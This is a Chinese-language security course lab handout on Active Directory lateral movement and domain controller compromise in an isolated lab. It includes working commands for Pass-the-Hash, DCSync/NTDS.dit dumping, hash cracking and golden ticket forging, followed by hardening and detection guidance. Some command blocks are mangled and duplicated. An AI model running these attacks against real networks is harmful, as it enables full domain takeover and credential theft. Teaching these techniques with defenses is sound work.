Skip to content

实验八:内网横向移动与域控攻陷

实验八:内网横向移动与域控攻陷

Section titled “实验八:内网横向移动与域控攻陷”

实验八:内网横向移动与域控攻陷

Section titled “实验八:内网横向移动与域控攻陷”

title: 实验八:内网横向移动与域控攻陷

date: 2026-04-06T00:10:38+08:00

lastmod: 2026-04-06T09:59:18+08:00


企业网络架构:
互联网(不可信区域)
┌────────▼────────┐
│ 防火墙/DMZ │
│ WAF/IDS/IPS │
└────────┬────────┘
┌──────────────▼──────────────┐
│ 内网(可信区域) │
│ │
│ ┌─────────┐ ┌──────────┐ │
│ │ 域控制器│ │ 成员服务器 │ │
│ │ DC01 │ │ SRV01 │ │
│ └─────────┘ └──────────┘ │
│ ┌─────────┐ ┌──────────┐ │
│ │ 工作站 │ │ 数据库 │ │
│ │ WIN10 │ │ SQL Server│ │
│ └─────────┘ └──────────┘ │
└────────────────────────────────┘
⚠️ 传统安全误区:"内网=安全"
事实上,现代攻击者突破边界后,内网往往缺乏防护:
• 主机间互信(域信任)→ 横向移动畅通无阻
• 缺乏网络分段 → 攻陷一台=攻陷全网
• 弱密码普遍存在 → 凭据复用严重
• 安全监控不足 → 攻击行为难以及时发现
完整的内网攻击链(参考MITRE ATT&CK框架):
初始访问 ──► 执行 ──► 持久化 ──► 权限提升 ──► 凭证访问
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
获取 foothold 执行恶意 安装后门 普通用户→ 提取密码
(钓鱼/漏洞) 代码 保持访问 管理员 哈希/票据
┌──────────────┘
防御规避 ──► 发现 ──► 横向移动 ──► 收集 ──► 渗漏
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
清理日志 主机发现 内网渗透 枚举资产 窃取数据
禁用安全 网络扫描 PtH/PsExec 列举用户 外传C2
工具 WinRM 服务账户 共享资源

┌──────────────────┬─────────────────┬────────────────┬──────────────┐
│ 方法 │ 所需条件 │ 检测难度 │ 使用频率 │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ Pass-the-Hash │ NTLM哈希 │ ⭐⭐(难以区分合法│ ⭐⭐⭐⭐⭐ │
│ (PtH) │ 无需明文密码 │ 认证和攻击) │ │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ PsExec │ SMB 445端口 │ ⭐⭐(服务日志) │ ⭐⭐⭐⭐ │
│ (SMB服务执行) │ 管理员凭据 │ │ │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ WMI/WMIExec │ WMI 135端口 │ ⭐⭐⭐(WMI日志)│ ⭐⭐⭐ │
│ (WMI远程执行) │ 管理员凭据 │ │ │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ WinRM/PS Session │ WinRM 5985端口 │ ⭐⭐⭐(PS日志) │ ⭐⭐⭐ │
│ (PowerShell远程) │ 管理员凭据 │ │ │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ RDP │ RDP 3389端口 │ ⭐⭐(登录日志) │ ⭐⭐⭐⭐ │
│ (远程桌面) │ 管理员凭据 │ │ │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ DCOM │ DCOM 135端口 │ ⭐⭐⭐ │ ⭐⭐ │
│ (组件服务) │ 管理员凭据 │ │ │
├──────────────────┼─────────────────┼────────────────┼──────────────┤
│ PsExec -s │ SMB + 本地认证 │ ⭐⭐(服务日志) │ ⭐⭐⭐ │
│ (SCM服务创建) │ 本地管理员 │ │ │
└──────────────────┴─────────────────┴────────────────┴──────────────┘
为什么PtH能成功?核心在于NTLM认证机制的设计:
正常认证流程:
1. 用户输入密码 → Windows计算NTLM Hash → 发送给服务器
2. 服务器从SAM中读取该用户的Hash → 比对 → 认证成功
PtH攻击流程:
1. 攻击者已有用户的NTLM Hash(通过Mimikatz/DCSync等获取)
2. 攻击者直接用Hash参与NTLM挑战/响应
3. 服务器用Hash比对 → 匹配 → 认证成功!
问题根源:
NTLM认证不验证"你是否知道密码"
只验证"你是否拥有正确的Hash"
→ Hash和密码在认证中"等价"!
防护措施:
✓ Protected Users组(禁止使用NTLM,强制Kerberos)
✓ SMB签名(防止哈希被中继)
✓ Credential Guard(虚拟化隔离凭据存储)

Microsoft推荐的AD管理权限分层:
┌─────────────────────────────────────┐
│ Tier 0: 企业管理员 │
│ 权限:域控、AD DS、Schema、DNS │
│ 账户:Enterprise Admins │
│ 设备:域控制器 │
│ 隔离规则: │
│ ❌ 禁止登录Tier 1/2设备 │
│ ❌ 禁止用于日常办公 │
├─────────────────────────────────────┤
│ Tier 1: 服务器管理员 │
│ 权限:成员服务器、SQL、IIS │
│ 账户:Server Admins │
│ 设备:成员服务器(非域控) │
│ 隔离规则: │
│ ❌ 禁止登录Tier 2设备(工作站) │
├─────────────────────────────────────┤
│ Tier 2: 工作站管理员 │
│ 权限:部署GPO、管理客户端 │
│ 账户:Workstation Admins │
│ 设备:管理工作站的跳板机 │
│ 隔离规则: │
│ ✅ 可登录普通工作站 │
└─────────────────────────────────────┘
安全原则:高权限账户只能在高安全级别的设备上使用
→ 防止域管在工作站上被PtH或凭据窃取
→ 减少横向移动后的影响范围
横向移动行为的关键检测信号:
1. 异常的认证行为
• 4624 Logon Type 3 (网络登录) 大量出现
• 同一账户从多个来源IP登录
• 非工作时间的管理员登录
2. 异常的远程执行
• 新建服务(Event ID 7045)
• 计划任务创建(Event ID 4698)
• WMI事件订阅创建
• WinRM连接(5985端口活动)
3. 异常的凭据使用
• 4624 Logon Type 9 (New Credentials) - 显式凭据
• Mimikatz使用特征:LSASS进程调试权限获取
4. 网络流量异常
• 非标准的SMB连接(非正常共享访问模式)
• 大量445端口连接(可能的横向移动扫描)
• 异常DNS查询(可能的C2通信)
工具推荐:
• BloodHound: AD攻击路径可视化
• PingCastle: AD安全评估
• Microsoft Defender for Identity (MDI): 行为检测
• Purple Knight: 内网威胁检测

实验关键提示:本实验是整个课程的综合实验,综合运用了前7个实验的技术——信息收集、凭据获取、横向移动、域控攻陷。核心学习目标是理解完整的内网攻击链和纵深防御策略。实验从”获取成员服务器权限”开始,经过”横向移动到域控”、“导出域哈希”、“伪造黄金票据”,最后完成”Tier 0模型加固”和”SMB签名启用”等防御措施。理解”攻击链中哪个环节最容易被阻断”是实验的核心学习目标。


实验八:内网横向移动与域控攻陷

Section titled “实验八:内网横向移动与域控攻陷”

title: 实验八:内网横向移动与域控攻陷

date: 2026-04-06T00:10:38+08:00

lastmod: 2026-04-06T00:10:38+08:00


实验八:内网横向移动与域控攻陷

Section titled “实验八:内网横向移动与域控攻陷”

实验八:内网横向移动与域控攻陷

Section titled “实验八:内网横向移动与域控攻陷”

对应章节:项目八 Windows内网安全

实验目标:掌握内网信息收集、横向移动技术(Pass-the-Hash、PsExec、WinRM、WMI)、域控攻击(NTDS.dit导出、黄金票据),理解内网安全的纵深防御

预计用时:150分钟

难度等级:⭐⭐⭐⭐(高级)


本实验需要一个多主机域环境。至少需要3台虚拟机:

NAT模式 192.168.1.0/24

环境简化方案:如果无法部署3台虚拟机,可以将域控和成员服务器合并为1台,攻击机使用Kali。部分实验步骤在单机环境上模拟。

虚拟机设置

项目 配置 操作系统 Windows Server 2025 Standard(桌面体验版) 内存 4 GB 硬盘 80 GB 网络适配器 NAT模式 IP 192.168.1.20 角色 域控制器(corp.local) 快照 实验前创建快照(命名:实验八-DC初始状态)

域控配置脚本

============================================

1.3 成员服务器(SRV01)环境配置

Section titled “1.3 成员服务器(SRV01)环境配置”

虚拟机设置

项目 配置 操作系统 Windows Server 2025 Standard(桌面体验版) 内存 2 GB 硬盘 40 GB 网络适配器 NAT模式 IP 192.168.1.30 角色 域成员服务器 快照 实验前创建快照(命名:实验八-SRV初始状态)

成员服务器配置脚本

============================================

Section titled “============================================”

攻击机配置


步骤1:主机发现

扫描整个内网段-sn 192.168.1.0/24# 预期发现:# 192.168.1.10 - Kali Linux(攻击机)# 192.168.1.20 - DC01(域控制器)# 192.168.1.30 - SRV01(成员服务器)# 使用arp-scanarp-scan -l

Section titled “扫描整个内网段-sn 192.168.1.0/24# 预期发现:# 192.168.1.10 - Kali Linux(攻击机)# 192.168.1.20 - DC01(域控制器)# 192.168.1.30 - SRV01(成员服务器)# 使用arp-scanarp-scan -l”

步骤2:端口扫描与服务识别

扫描域控-sV -p 53,88,135,389,445,464,636,3268,3389 192.168.1.20# 扫描成员服务器-sV -p 80,135,139,445,3389,5985,5986 192.168.1.30# 使用Nmap脚本扫描SMB漏洞–script smb-vuln* -p 445 192.168.1.20–script smb-vuln* -p 445 192.168.1.30

Section titled “扫描域控-sV -p 53,88,135,389,445,464,636,3268,3389 192.168.1.20# 扫描成员服务器-sV -p 80,135,139,445,3389,5985,5986 192.168.1.30# 使用Nmap脚本扫描SMB漏洞–script smb-vuln* -p 445 192.168.1.20–script smb-vuln* -p 445 192.168.1.30”

步骤3:域信息枚举

使用CrackMapExec枚举域信息ldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –domain-infoldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –usersldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –groupsldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –computerldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –password-policysmb 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –sharessmb 192.168.1.30 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –shares

Section titled “使用CrackMapExec枚举域信息ldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –domain-infoldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –usersldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –groupsldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –computerldap 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –password-policysmb 192.168.1.20 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –sharessmb 192.168.1.30 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –shares”

知识关联:对应讲义中”信息收集命令集合”——内网渗透第一步是全面的信息收集,包括存活主机、开放端口、域用户、共享资源等。


步骤4:从成员服务器获取凭据

假设已通过某种方式获取了成员服务器(SRV01)的本地管理员权限(如通过RDP弱口令):

使用Mimikatz从SRV01提取凭据# (需要在SRV01的Shell中执行)# 假设已获取域用户normaluser的会话# 从Kali使用CrackMapExec获取哈希smb 192.168.1.30 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –sam# 或者通过已获得的Meterpreter会话# meterpreter > hashdump# meterpreter > load kiwi# meterpreter > creds_all

Section titled “使用Mimikatz从SRV01提取凭据# (需要在SRV01的Shell中执行)# 假设已获取域用户normaluser的会话# 从Kali使用CrackMapExec获取哈希smb 192.168.1.30 -d corp.local -u normaluser -p ‘P@ssw0rd123’ –sam# 或者通过已获得的Meterpreter会话# meterpreter > hashdump# meterpreter > load kiwi# meterpreter > creds_all”

步骤5:Pass-the-Hash横向移动

使用从SRV01获取的Administrator哈希横向移动到DC01# 假设获取到Administrator的NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0# 方法一:PsExec /usr/share/doc/python3-impacket/examples/psexec.py corp.local/administrator@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0# 方法二:WMIExec /usr/share/doc/python3-impacket/examples/wmiexec.py corp.local/administrator@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0# 方法三:SMBExec /usr/share/doc/python3-impacket/examples/smbexec.py corp.local/administrator@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0# 方法四:CrackMapExecsmb 192.168.1.20 -d corp.local -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x “whoami”smb 192.168.1.20 -d corp.local -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 –exec-method smbexec -x “hostname”# 方法五:Evil-WinRM-winrm -i 192.168.1.20 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

Section titled “使用从SRV01获取的Administrator哈希横向移动到DC01# 假设获取到Administrator的NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0# 方法一:PsExec /usr/share/doc/python3-impacket/examples/psexec.py corp.local/administrator@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0# 方法二:WMIExec /usr/share/doc/python3-impacket/examples/wmiexec.py corp.local/administrator@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0# 方法三:SMBExec /usr/share/doc/python3-impacket/examples/smbexec.py corp.local/administrator@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0# 方法四:CrackMapExecsmb 192.168.1.20 -d corp.local -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x “whoami”smb 192.168.1.20 -d corp.local -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 –exec-method smbexec -x “hostname”# 方法五:Evil-WinRM-winrm -i 192.168.1.20 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0”

知识关联:对应讲义中”Pass-the-Hash(PtH)“——攻击者无需明文密码,仅凭NTLM哈希即可在域内横向移动。

步骤6:WinRM远程管理横向移动

使用域用户凭据通过WinRM连接-winrm -i 192.168.1.30 -u normaluser -p ‘P@ssw0rd123’-winrm -i 192.168.1.20 -u corpadmin -p ‘P@ssw0rd123’# 使用PowerShell Enter-PSSession(需要域用户凭据)# 在已控制的SRV01上执行:-PSSession -ComputerName DC01 -Credential CORP\corpadmin# 使用Invoke-Command远程执行-Command -ComputerName 192.168.1.20,192.168.1.30 -ScriptBlock {whoami; hostname} -Credential CORP\corpadmin

Section titled “使用域用户凭据通过WinRM连接-winrm -i 192.168.1.30 -u normaluser -p ‘P@ssw0rd123’-winrm -i 192.168.1.20 -u corpadmin -p ‘P@ssw0rd123’# 使用PowerShell Enter-PSSession(需要域用户凭据)# 在已控制的SRV01上执行:-PSSession -ComputerName DC01 -Credential CORP\corpadmin# 使用Invoke-Command远程执行-Command -ComputerName 192.168.1.20,192.168.1.30 -ScriptBlock {whoami; hostname} -Credential CORP\corpadmin”

知识关联:对应讲义中”端口映射与内网转发”和”WinRM服务”——WinRM(5985/5986端口)提供了远程PowerShell会话能力。


步骤7:导出域控NTDS.dit

获取域管权限后,从DC01导出域数据库:

方法一:Impacket secretsdump远程导出(推荐) /usr/share/doc/python3-impacket/examples/secretsdump.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20 -just-dc -outputfile /tmp/ntds_dump# 方法二:DCSync攻击 /usr/share/doc/python3-impacket/examples/secretsdump.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20 -just-dc-user krbtgt /usr/share/doc/python3-impacket/examples/secretsdump.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20 -just-dc-user administrator# 方法三:在域控本地使用ntdsutil创建IFM快照# 在DC01上以管理员身份执行:“activate instance ntds” “ifm” “create full C:\Temp\NTDS” quit quit# 然后复制快照文件到攻击机分析 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds /tmp/NTDS/Active\ Directory/ntds.dit -system /tmp/NTDS/registry/SYSTEM LOCAL

Section titled “方法一:Impacket secretsdump远程导出(推荐) /usr/share/doc/python3-impacket/examples/secretsdump.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20 -just-dc -outputfile /tmp/ntds_dump# 方法二:DCSync攻击 /usr/share/doc/python3-impacket/examples/secretsdump.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20 -just-dc-user krbtgt /usr/share/doc/python3-impacket/examples/secretsdump.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20 -just-dc-user administrator# 方法三:在域控本地使用ntdsutil创建IFM快照# 在DC01上以管理员身份执行:“activate instance ntds” “ifm” “create full C:\Temp\NTDS” quit quit# 然后复制快照文件到攻击机分析 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds /tmp/NTDS/Active\ Directory/ntds.dit -system /tmp/NTDS/registry/SYSTEM LOCAL”

知识关联:对应讲义中”渗透域控制器导出用户密码”——NTDS.dit是AD域数据库文件,包含所有域用户哈希。

步骤8:分析导出的域哈希

Terminal window
# 查看导出的域用户哈希
cat /tmp/ntds_dump.corp.local.dump
# 关键信息:
# corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::
# corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::
# corp.local\corpadmin:1105:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::
# corp.local\normaluser:1106:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::
# 离线破解弱密码哈希
cat /tmp/ntds_dump.corp.local.dump | cut -d':' -f4 > /tmp/domain_ntlm.txt
hashcat -m 1000 /tmp/domain_ntlm.txt /usr/share/wordlists/rockyou.txt --force

阶段四:黄金票据攻击(持久化)

Section titled “阶段四:黄金票据攻击(持久化)”

步骤9:伪造黄金票据

使用获取的krbtgt哈希伪造黄金票据# 格式:python3 ticketer.py -domain-sid -domain <域名> -ntlm -user <伪造用户># 获取域SID /usr/share/doc/python3-impacket/examples/lookupsid.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20# 使用krbtgt哈希伪造管理员黄金票据 /usr/share/doc/python3-impacket/examples/ticketer.py -domain-sid S-1-5-21-xxxx -domain corp.local -ntlm -user administrator# 设置环境变量使用黄金票据KRB5CCNAME=/tmp/administrator.ccache# 使用黄金票据获取服务票据 /usr/share/doc/python3-impacket/examples/getST.py -spn cifs/dc01.corp.local -k -no-pass corp.local/administrator# 使用黄金票据进行PtH攻击 /usr/share/doc/python3-impacket/examples/psexec.py corp.local/administrator@192.168.1.20 -k -no-pass

Section titled “使用获取的krbtgt哈希伪造黄金票据# 格式:python3 ticketer.py -domain-sid -domain <域名> -ntlm -user <伪造用户># 获取域SID /usr/share/doc/python3-impacket/examples/lookupsid.py corp.local/corpadmin:‘P@ssw0rd123’@192.168.1.20# 使用krbtgt哈希伪造管理员黄金票据 /usr/share/doc/python3-impacket/examples/ticketer.py -domain-sid S-1-5-21-xxxx -domain corp.local -ntlm -user administrator# 设置环境变量使用黄金票据KRB5CCNAME=/tmp/administrator.ccache# 使用黄金票据获取服务票据 /usr/share/doc/python3-impacket/examples/getST.py -spn cifs/dc01.corp.local -k -no-pass corp.local/administrator# 使用黄金票据进行PtH攻击 /usr/share/doc/python3-impacket/examples/psexec.py corp.local/administrator@192.168.1.20 -k -no-pass”

知识关联:对应讲义中”黄金票据(Golden Ticket)“——获取krbtgt哈希后可伪造任意用户的TGT,实现域内持久化最高权限。


步骤10:域安全加固措施

在域控上执行:

Terminal window
# 1. 更改krbtgt密码两次(使所有黄金票据失效)
$pwd1 = ConvertTo-SecureString "N3wKrbtgt@2024!A" -AsPlainText -Force
$pwd2 = ConvertTo-SecureString "N3wKrbtgt@2024!B" -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $pwd1 -Reset
# 等待AD复制完成(通常几秒到几分钟)
Start-Sleep -Seconds 60
Set-ADAccountPassword -Identity krbtgt -NewPassword $pwd2 -Reset
# 2. 将高权限账户加入Protected Users组
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator","corpadmin"
# 3. 启用Credential Guard
# gpedit.msc → 计算机配置 → 管理模板 → 系统 → Device Guard
# 开启虚拟化安全 → 启用
# 需要重启
# 4. 配置精细的认证策略
# 允许特定账户从特定计算机进行RDP登录
# gpedit.msc → 计算机配置 → Windows设置 → 安全设置 → 本地策略 → 用户权限分配
# 从网络访问此计算机 → 仅限管理员和服务账户
# 本地登录 → 仅限管理员
# 通过远程桌面服务登录 → 限制为Domain Admins
# 5. 启用高级审计策略
# 所有审核策略设为"成功和失败"
auditpol /set /category:* /success:enable /failure:enable
# 6. 限制域管登录到域控(Tier 0模型)
# 创建GPO:域管理员只能在域控上登录
# 从其他成员服务器/工作站上移除域管的本地管理员权限
# 7. 配置SMB签名(防御SMB中继攻击)
# gpedit.msc → 计算机配置 → Windows设置 → 安全设置 → 本地策略 → 安全选项
# Microsoft网络客户端:对通信进行数字签名 → 已启用
# Microsoft网络服务器:对通信进行数字签名 → 已启用
# 验证
Get-ADUser -Filter * -Properties MemberOf | Where-Object {$_.MemberOf -match "Protected Users"}
Get-ADUser krbtgt | Select Name, PasswordLastSet

步骤11:成员服务器加固

在SRV01上执行:# 1. 移除域管的本地管理员权限(Tier 0隔离)-LocalGroupMember -Group “Administrators” -Member “CORP\Domain Admins”# 2. 仅允许指定的服务管理员通过RDP登录-LocalGroupMember -Group “Remote Desktop Users” -Member “CORP\Domain Admins”-LocalGroupMember -Group “Remote Desktop Users” -Member “CORP\corpadmin”# 3. 启用Windows Defender-MpPreference -DisableRealtimeMonitoring $false-MpSignature# 4. 启用防火墙并限制RDP来源-NetFirewallProfile -Profile Domain,Public,Private -Enabled True-NetFirewallRule -DisplayGroup “Remote Desktop”-NetFirewallRule -DisplayGroup “Remote Desktop” -RemoteAddress 192.168.1.10# 5. 禁用不必要的服务-Service -Name “WinRM” -StartupType Manual-Service “WinRM”

Section titled “在SRV01上执行:# 1. 移除域管的本地管理员权限(Tier 0隔离)-LocalGroupMember -Group “Administrators” -Member “CORP\Domain Admins”# 2. 仅允许指定的服务管理员通过RDP登录-LocalGroupMember -Group “Remote Desktop Users” -Member “CORP\Domain Admins”-LocalGroupMember -Group “Remote Desktop Users” -Member “CORP\corpadmin”# 3. 启用Windows Defender-MpPreference -DisableRealtimeMonitoring $false-MpSignature# 4. 启用防火墙并限制RDP来源-NetFirewallProfile -Profile Domain,Public,Private -Enabled True-NetFirewallRule -DisplayGroup “Remote Desktop”-NetFirewallRule -DisplayGroup “Remote Desktop” -RemoteAddress 192.168.1.10# 5. 禁用不必要的服务-Service -Name “WinRM” -StartupType Manual-Service “WinRM””

步骤12:验证加固效果

1. Pass-the-Hash应被限制# Protected Users成员不能使用NTLMsmb 192.168.1.20 -d corp.local -u corpadmin -H # 预期:STATUS_LOGON_TYPE_NOT_GRANTED(NTLM被拒绝)# 2. 黄金票据应失效(krbtgt密码已更改) /usr/share/doc/python3-impacket/examples/ticketer.py -domain-sid S-1-5-21-xxxx -domain corp.local -ntlm <旧krbtgt哈希> -user administrator# 使用旧票据应失败# 3. RDP应被限制-L /tmp/domain_admins.txt -P /tmp/passwords.txt rdp://192.168.1.30# 预期:域管理员无法从非授权IP RDP登录# 4. SMB中继应被限制 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf /tmp/targets.txt -smb2support# SMB签名启用后,中继攻击应失败

Section titled “1. Pass-the-Hash应被限制# Protected Users成员不能使用NTLMsmb 192.168.1.20 -d corp.local -u corpadmin -H # 预期:STATUS_LOGON_TYPE_NOT_GRANTED(NTLM被拒绝)# 2. 黄金票据应失效(krbtgt密码已更改) /usr/share/doc/python3-impacket/examples/ticketer.py -domain-sid S-1-5-21-xxxx -domain corp.local -ntlm <旧krbtgt哈希> -user administrator# 使用旧票据应失败# 3. RDP应被限制-L /tmp/domain_admins.txt -P /tmp/passwords.txt rdp://192.168.1.30# 预期:域管理员无法从非授权IP RDP登录# 4. SMB中继应被限制 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf /tmp/targets.txt -smb2support# SMB签名启用后,中继攻击应失败”

序号记录项说明
1内网拓扑发现扫描到的所有主机、开放端口、运行服务
2横向移动路径从普通用户到域控的完整攻击链
3域哈希导出NTDS.dit导出方法和关键发现(脱敏)
4黄金票据利用伪造票据的方法和验证过程
5加固效果对比加固前后各攻击步骤的成功/失败对比
  1. Pass-the-Hash攻击为什么能成功?Protected Users组如何防御?
  2. 为什么要修改krbtgt密码两次?仅修改一次有什么不足?
  3. Tier 0模型的核心思想是什么?为什么域管理员不应登录成员服务器?
  4. SMB签名如何防御中继攻击?部署时有什么兼容性考虑?
  5. 在大型企业网络中,如何检测横向移动行为?请列举至少3种检测方法。

Terminal window
# 域控(DC01)清理:
# 恢复快照(推荐)
# 成员服务器(SRV01)清理:
# 恢复快照(推荐)
# 或手动清理:
# 1. 启用防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
# 2. 恢复域管本地管理员权限
Add-LocalGroupMember -Group "Administrators" -Member "CORP\Domain Admins"
# 3. 删除测试数据
Remove-Item "C:\CompanyData" -Recurse -Force
# 攻击机清理:
# 删除所有导出的域哈希文件
rm -f /tmp/ntds_dump*
rm -f /tmp/domain_ntlm.txt
rm -f /tmp/tgs_hashes.txt
rm -f /tmp/*.ccache
rm -rf /tmp/site_backup/

免责声明:本实验仅用于授权的安全教学环境。内网横向移动和域控攻陷是极具破坏性的攻击行为,对任何未授权的网络执行以上操作属于严重违法行为。实验中涉及的黄金票据、DCSync等攻击技术可能导致整个域环境不可恢复地被破坏,请务必在隔离的虚拟化环境中操作并提前创建快照。